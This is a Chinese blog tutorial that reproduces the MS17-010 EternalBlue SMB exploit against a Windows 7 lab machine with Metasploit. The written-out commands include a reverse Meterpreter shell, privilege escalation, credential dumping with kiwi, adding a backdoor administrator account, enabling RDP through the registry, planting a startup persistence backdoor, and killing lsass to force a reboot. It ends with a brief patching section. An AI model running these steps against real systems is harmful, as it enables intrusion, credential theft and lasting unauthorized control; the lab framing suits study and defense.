MS17_010 漏洞利用与安全加固

本文详细介绍了MS17_010漏洞的原理、利用过程,包括EternalBlue后门利用、DoublePulsar注入、Metasploit攻击以及安全加固方法。作者通过步骤展示了如何在KaliLinux渗透机上复现漏洞并实施攻击,同时提供安全建议,如启用自动更新和手动安装安全补丁。
摘要由CSDN通过智能技术生成

环境说明

  • 渗透机操作系统:kali-linux-2024.1-installer-amd64
  • 漏洞复现操作系统: cn_windows_7_professional_with_sp1_x64_dvd_u_677031

1 MS17_010 简介

MS17_010 漏洞后门利用程序 EternalBlue(从目前使用情况来看,相对比较稳定)可影响 Windows 7和 Windows Server 2008 大部分版本的操作系统,无需认证权限就能实现系统入侵控制;插件工具DoublePulsar 可以远程向目标控制系统注入恶意DLL 或 Payload程序。综合利用这两个工具,入侵成功之后可以对目标系统执行 Empire/Meterpreter 反弹连接控制。在此过程,还需要NSA 使用的类似 Metasploit 的漏洞利用代码攻击框架 FuzzBunch。

Windows SMB 远程任意代码执行漏洞(MS17_010) 包括如下CVE:CVE-2017-0143 严重远程命令、CVE-2017–0144严重 远程命令执行,CVE-2017-0145 严重 远程命令执行、CVE-2017-0146 严重 远程命令执行、CVE-2017-0147重要 信息泄露、CVE-2017-0148 严重 远程命令执行。

漏洞描述如下:

1)SMBv1 server 是其中一个服务器协议组件。

2)Windows 中的SMBv1服务器存在远程代码执行漏洞。

3)远程攻击者可借助特制的数据包利用漏洞执行任意代码。

以下版本受到影响:Windows Vista SP2,Windows Server 2008 SP2 和 R2 SP1,Windows 7 SP1,Windows 8.1,Windows Server 2012 Glod 和 R2,Windows RT 8.1 ,Windows 10 Glod、1511 和 1607,Windows Server 2016。

2 MS17_010 复现过程

在开始之前请关闭靶机的防火墙, 关于渗透机和靶机环境的搭建可自行Bing

步骤01、

打开网络拓补,单机 “启动”按钮,启动实现虚拟机,如图所示。

在这里插入图片描述

步骤02、

使用ifconfig ipconfig命令分别获取渗透机和靶机的IP的地址,使用ping 命令进行网络 连通性测试,确保网络可达。

渗透机的IP 地址为 192.168.254.134,如图所示。

渗透机的IP地址

在这里插入图片描述

靶机的IP地址为 192.168.254.129,如图所示。

靶机的IP地址

在这里插入图片描述

步骤03、

使用 msfconsole 命令启动Metasploit 渗透测试平台,如图所示。

启动 Metasploit

在这里插入图片描述

步骤04、

使用search 命令搜索 msf 模块,即 auxiliary/scanner/smb/smb_ms17_010,验证目标靶机是否存在此漏洞,如图所示。

搜索 MS17_010 相关模块

在这里插入图片描述

步骤05、

使用 use auxiliary/scanner/smb/smb_ms17_010 命令调用漏洞扫描检测模块。使用 show options 命令查看需要配置的参数,如图所示。

查看配置参数

在这里插入图片描述

使用 set RHOSTS 命令设置靶机地址,使用 exploit 或者 run 命令运行扫描模块,如图所示。

设置目标地址并运行检测

在这里插入图片描述

步骤06、

通过扫描发现目标靶机存在 MS17_010 漏洞,使用 use 命令调用 exploit/windows/smb/ms17_010_eternalblue 漏洞利用模块,如图所示。

调用利用模块

在这里插入图片描述

然后使用 show options 命令查看配置参数,并对目标靶机地址进行设置,如图所示。

查看配置参数

在这里插入图片描述

步骤07、

使用 set PAYLOAD 命令设置一个攻击载荷模块,这里使用HTTPS的Meterpreter 反弹载荷,即 windows/x64/meterpreter/reverse_https,更不易察觉,如图所示。

设置载荷模块

在这里插入图片描述

步骤08、

使用 show opotions 命令查看载荷模块需要配置的参数,如图所示。

查看配置参数

在这里插入图片描述

使用 set RHOST 命令设置目标靶机地址,如图所示。

设置目标地址

在这里插入图片描述

使用 set LHOST 命令设置本地反弹连接的地址,如图所示。

设置本地地址

在这里插入图片描述

然后使用 run 或者 exploit 命令运行该模块,如图所示。

运行溢出模块

在这里插入图片描述

步骤09、

使用 getsystem 提权到system权限,如图所示。

在这里插入图片描述

使用 sysinfo 命令查看目标靶机信息,如图所示。

查看目标靶机信息

在这里插入图片描述

步骤10、

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制,如图所示。

因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中

在这里插入图片描述

把进程迁移到PID为492这个程序中(因为当前用户),如图所示。

进程迁移

在这里插入图片描述

使用 load kiwi 命令加载密码获取模块,然后使用 creds_wdigest 命令获取管理员密码,如图所示。

加载密码获取模块

在这里插入图片描述

步骤11、

使用 shell 命令启动 Meterpreter 下 cmd 的 Shell 终端,如图所示。

获取操作系统的 Shell

在这里插入图片描述

然后使用 ipconfig 命令查看当前网卡的信息,如图所示。

查看网卡信息

在这里插入图片描述

使用 whoami 命令查看当前的系统权限,如图所示。

查看用户权限

在这里插入图片描述

步骤12、

使用 net user 账户名 密码 /add 命令添加账户,然后进行提权,如图所示。

查看后门用户

在这里插入图片描述

使用 net localgroup administrtors 后门用户 /add 命令将后门用户提升为管理员权限,如图所示。

添加用户至管理员分组

在这里插入图片描述

步骤13、

使用 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 命令设置注册表,如图所示。

设置注册表,开启远程访问

在这里插入图片描述

步骤14、

使用 rdesktop 靶机IP地址 命令 启动远程桌面连接终端,并使用后门用户进行登录,如图所示。

登录靶机系统

在这里插入图片描述

登录成功,成功渗透,如图所示。

成功登录靶机。

在这里插入图片描述

步骤15、

在 Meterperter 命令下,使用 background 命令将 Meterpreter终端隐藏在后台,执行其他任务,如图所示。

将 Meterpreter终端隐藏在后台

在这里插入图片描述

使用 use exploit/windows/local/persistence 命令植入持续后门,再使用 show options 命令查看需要配置的参数,如图所示。

查看配置参数
在这里插入图片描述

使用 set SESSION 命令设置刚才获得权限的会话,使用 set STARTUP 设置SYSTEM启动,如图所示。

设置获得权限的会话

在这里插入图片描述

使用 set LHOST 命令设置载荷模块监听的本地地址,使用 set LPORT 命令设置载荷模块的监听的本地端口,如图所示。

设置相关参数

在这里插入图片描述

然后使用 run 或者 exploit 命令运行该模块,如图所示。

运行维持权限模块

在这里插入图片描述

步骤16、

首先按 <Ctrl + Shift + T> 组合键打开一个新窗口,然后使用 use /exploit/multi/handler 命令调用监听模块,同时使用 set payload windows/meterpreter/reverse_tcp 命令,设置本地监听的地址 192.168.254.134,设置监听端口 3306,最后使用 show options 命令查看最终的配置,如图所示。

查看配置参数

在这里插入图片描述

步骤17、

在之前的 Meterpreter 下使用 reboot 命令重启目标靶机,此时靶机将重新启动并加载之前的持续后门,如图所示。

获得操作系统的Shell,由于权限不够,重启失败

在这里插入图片描述

由于权限不够而导致重启失败,可尝试终止 lsass.exe 进程,让系统进入异常重启状态,如图所示。

查找 lsass.exe 进程的PID,终止 lsass.exe 进程

在这里插入图片描述

如果没有出现由于权限不够而导致重启失败,正常情况下重启系统,在监听会有后门脚本主动连接上,如图所示。

运行溢出模块

在这里插入图片描述

若重启后发现该后门脚本无法正常运行,如图所示。根据后门维持脚本生成的文件目录找到该脚本文件,可推测是由于系统安全机制拦截,如图所示。

在这里插入图片描述

在这里插入图片描述

此时需要手动将该脚本复制到开机自启动项中:C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,如图所示。

在这里插入图片描述

步骤18、

在 windows/handler 模块下使用 set LHOST (渗透剂IP)set LPORT (监听端口) 命令,最后使用 exploit -j 命令进行后台监听,再次重启目标靶机然后等待持续后门的自动连接,至此后门维持结束。

3 MS17_010 安全加固

步骤19、

大多数用户启用了 “自动更新”,他们不必采取任何操作,因为此安全更新将自动下载并安装。尚未启用“启动更新” 的用户必须检查更新并手动安装此更新。有关自动更新中特定配置选项的信息,对于管理员、企业安装或者想要手动安装此安全更新的最终用户,Microsoft 建议使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新,如图所示。

官方安全公告

在这里插入图片描述

  • 33
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值